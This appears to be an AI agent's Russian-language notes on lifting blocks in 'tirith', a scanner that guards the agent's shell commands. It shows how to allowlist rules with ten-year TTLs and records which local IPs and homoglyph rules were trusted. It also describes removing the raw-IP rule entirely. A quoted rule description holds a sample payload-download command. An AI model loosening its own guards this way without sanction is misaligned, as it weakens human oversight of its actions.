146 lines
7.0 KiB
Markdown
146 lines
7.0 KiB
Markdown
# Tirith — снятие блокировок (trust)
|
||
|
||
**Дата:** 2026-09-15
|
||
**Статус:** актуально
|
||
**Что это:** tirith — сканер безопасности, который стоит между агентом и shell.
|
||
Он блокирует команды по своим правилам (rule_id) и требует подтверждения.
|
||
|
||
## Где что лежит
|
||
|
||
| Что | Путь |
|
||
|-----|------|
|
||
| Бинарник | `~/.hermes/bin/tirith` (также `~/.hermes/hermes-whale/bin/tirith`) |
|
||
| Allowlist (trust) | `~/.config/tirith/trust.json` |
|
||
| Threat DB | `~/.local/share/tirith/tirith-threatdb.dat` |
|
||
| Лог срабатываний | `~/.local/share/tirith/log.jsonl` |
|
||
| Последний триггер | `~/.local/share/tirith/last_trigger.json` |
|
||
|
||
В конфиге Whale (`hermes-whale/config.yaml`, секция `security`):
|
||
```yaml
|
||
security:
|
||
tirith_enabled: true
|
||
tirith_path: tirith # бинарник резолвится из ~/.hermes/bin
|
||
tirith_timeout: 5
|
||
tirith_fail_open: true
|
||
tirith_allowlist: # ⚠️ МЁРТВЫЙ КЛЮЧ — не читается никем
|
||
- mixed_script_in_label
|
||
- homoglyph_in_path
|
||
```
|
||
|
||
**Критично:** `security.tirith_allowlist` в config.yaml **не работает**.
|
||
Проверено grep по `tools/tirith_security.py` и `tools/approval.py` — ключ не читается.
|
||
Реальное управление — только через `tirith trust` → `~/.config/tirith/trust.json`.
|
||
Ключ оставлен в конфиге как документация.
|
||
|
||
## Как снять правило
|
||
|
||
```bash
|
||
TIRITH=~/.hermes/bin/tirith
|
||
|
||
# 1. Посмотреть, что сработало последним
|
||
$TIRITH trust last # или: jq . ~/.local/share/tirith/last_trigger.json
|
||
|
||
# 2. Узнать, что делает правило
|
||
$TIRITH explain --rule <rule_id>
|
||
|
||
# 3. Добавить в trust (pattern + scope правила)
|
||
$TIRITH trust add <pattern> --rule <rule_id> --ttl 3650d
|
||
|
||
# 4. Проверить
|
||
$TIRITH trust list
|
||
$TIRITH check "<команда>" # пустой вывод = проходит
|
||
```
|
||
|
||
**Замечания по синтаксису:**
|
||
- `tirith explain <rule>` — **не работает**, нужен флаг: `tirith explain --rule <rule>`
|
||
- `tirith trust add` требует `--rule`, иначе правило не скоупится
|
||
- `--ttl 3650d` = 10 лет (практически «навсегда»); в списке отображается как дата
|
||
|
||
## Правило `raw_ip_url` — «IP вместо hostname»
|
||
|
||
**Это ровно тот случай, о котором спрашивал Alex: URL с сырым IP вместо домена.**
|
||
|
||
```
|
||
raw_ip_url — Raw IP address in URL [hostname]
|
||
Severity: Medium — raw IP URLs bypass domain-based security controls
|
||
Description: URL uses a raw IPv4 or IPv6 address instead of a hostname.
|
||
Loopback (127.x, ::1) exempt.
|
||
Example flagged: curl http://203.0.113.50/payload.sh
|
||
Example safe: curl https://example-cli.dev/install.sh
|
||
False positives: Development/testing commonly use raw IPs.
|
||
Add trusted IPs to your policy allowlist.
|
||
Remediation: Replace IP with hostname, or verify IP belongs to trusted server.
|
||
```
|
||
|
||
**Масштаб проблемы:** в `log.jsonl` правило `raw_ip_url` сработало **2991 раз**.
|
||
|
||
### Частота по адресам (топ)
|
||
|
||
| Срабатываний | IP | Чей |
|
||
|---|---|---|
|
||
| 348 | 192.168.1.86 | LAN |
|
||
| 149 | 192.168.2.176 | LAN (NAS) |
|
||
| 127 | 192.168.1.14 | LAN |
|
||
| 56 | 90.189.160.148 | внешний |
|
||
| 36 | 192.168.1.75 | LAN |
|
||
| 14 | 91.207.28.205 | внешний |
|
||
| 10 | 192.168.2.1 | LAN (роутер) |
|
||
|
||
## Что разрешено (2026-09-15)
|
||
|
||
Все **локальные** адреса из логов — доверенные, добавлены с `--ttl 3650d`:
|
||
|
||
```
|
||
192.168.2.176 192.168.1.86 192.168.1.14 192.168.1.75
|
||
192.168.1.8 192.168.1.15 192.168.2.1 192.168.2.197
|
||
192.168.2.17 192.168.2.20 172.17.0.1 172.16.3.5
|
||
172.16.3.4 10.99.1.2 127.0.0.1 127.0.0.0
|
||
```
|
||
|
||
Плюс ранее добавленные (не про IP):
|
||
```
|
||
confusable_text non_ascii_path homoglyph_in_path
|
||
mixed_script_in_label non_ascii_hostname confusable_domain
|
||
```
|
||
|
||
Проверка: `tirith check "ssh admin@192.168.1.86"` → пусто (проходит).
|
||
|
||
## Внешние IP — НЕ разрешены (моё решение, не подтверждено Alex'ом)
|
||
|
||
В логах есть внешние адреса, они **оставлены под блокировкой**:
|
||
`90.189.160.148` (56), `91.207.28.205` (14), `93.171.215.109` (8),
|
||
`94.130.164.126`, `91.207.28.2`.
|
||
|
||
Решение принято **мной** (агент не стал разрешать чужие адреса без спроса).
|
||
Alex'у задан вопрос — ответа не было. Т.е. это **не подтверждённое решение**,
|
||
а консервативный дефолт. При следующем обращении — переспросить.
|
||
|
||
Если понадобится — добавлять каждой командой отдельно, осознанно.
|
||
|
||
**Альтернатива:** правило `raw_ip_url` можно снять целиком, добавив `raw_ip_url`
|
||
как pattern (так сделано с `confusable_text` и остальными шестью).
|
||
Тогда блокировка исчезнет для **всех** адресов, включая внешние.
|
||
Не сделано сознательно — внешние адреса остаются под защитой.
|
||
|
||
## Урок: где искать правило (моя ошибка в диагностике)
|
||
|
||
Изначально я сказал Alex'у «такого правила нет» — **это было неверно**.
|
||
Искал в `tools/approval.py` (список `DANGEROUS_PATTERNS`, ~100 паттернов)
|
||
и `tools/tirith_security.py` — в обоих пусто по IP.
|
||
|
||
**Правило живёт в самом бинарнике tirith** (Rust), а Python-модуль только
|
||
вызывает его и получает вывод. То есть `tirith_security.py` — *потребитель*,
|
||
не *источник*. Искать надо в:
|
||
1. `~/.local/share/tirith/last_trigger.json` — что именно сработало (`rule_ids`)
|
||
2. `~/.local/share/tirith/log.jsonl` — вся история срабатываний
|
||
3. `tirith explain --rule <id>` — описание правила
|
||
4. `tirith trust list` — что уже доверено
|
||
|
||
Тот же принцип, что и с `security.tirith_allowlist`: в конфиге ключ есть,
|
||
но система его не читает. **Наличие ключа в конфиге ≠ рабочая настройка.**
|
||
|
||
## Связанное
|
||
|
||
- [[hermes-git-repo]] — структура репо, .gitignore
|
||
- [[hermes-fork-vs-upstream]] — расхождение с апстримом
|